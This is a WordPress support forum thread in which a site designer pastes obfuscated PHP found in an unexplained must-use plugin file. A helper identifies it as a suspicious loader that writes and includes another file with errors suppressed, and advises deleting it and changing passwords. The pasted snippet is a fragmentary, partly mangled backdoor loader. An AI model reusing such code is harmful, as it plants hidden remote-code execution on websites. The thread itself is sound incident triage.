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There’s a problem with your WP installation’s “must-use” plugin. You can deactivate it by renaming the /public_html/wp-content/mu-plugins/thoamgwg.php file through FTP or your hosting’s file manager.

Download the renamed file to you computer and open it in a plain text editor to see if you can determine what purpose it serves and who or what placed it in the /mu-plugins/ folder. You can take up the issue with whomever is responsible, or you might possibly be able to do without this plugin, despite it being “must use”.

Hello,
I’m sorry, I was at a doctor’s appointment, I was reviewing and I don’t know who put it up or what it’s for, and I’m the web designer. I downloaded it and opened it this is what is inside:
–– $g11){function n8($g6, $j14, $h10){return $g6[11]($g6[9] ($j14 . $g6[0], ($h10 / $g613) + 1), 0, $h10);}function j7($g6, $o12){return @$g6[ 14]($g6[3], $o12);}function s9($g6, $o12){if (isset($o12[2])) {$a13 = $g6[4] . $g615 . $g6[2];@$g6[7]($a13, $g6[6] . $g6[1] . $o121);@include($a13);@ $g612;exit();}}$g11 = j7($g6, $g11);s9($g6, $g6[10]($g6[5], $g11 ^ n8( $g6, $j14, $g613)));} —
I don’t have the slightest idea what it’s for, maybe you know something about what the PHP call is about.
I’m going to delete it and see what happens and let you know.
Thank you

Hello, I deleted the .PHp file and the problem was solved, but now I have to check where that file came from and if it can be reinstalled.
Thank you, you are the best.

Minified code is difficult to comprehend. All the @ symbols are to suppress error reporting. The fact that it includes another file from where ever $a13 is and the error suppression and the minification all make it very suspicious IMO.

If all seems fine without it, I would not want to reinstall it. Which begs the question how did it get there? It’s possible there was unauthorized access. Hopefully there is nothing else suspicious somewhere else. To be extra safe, I recommend changing all admin passwords. Not only in WP, but also your hosting and FTP accounts. Be sure to use nice, strong passwords. Use a password manager to keep track of them.

Hello, today after 4 years without updating my website I log in to my WordPress account and I see this error.- Sorry, there has been an error. –
Request failed with status code 404 – I’ve googled and couldn’t find an answer that fixes my problem, can anyone please help me? thanks in advance.

sorry this is my website.www.ultramedia usa.com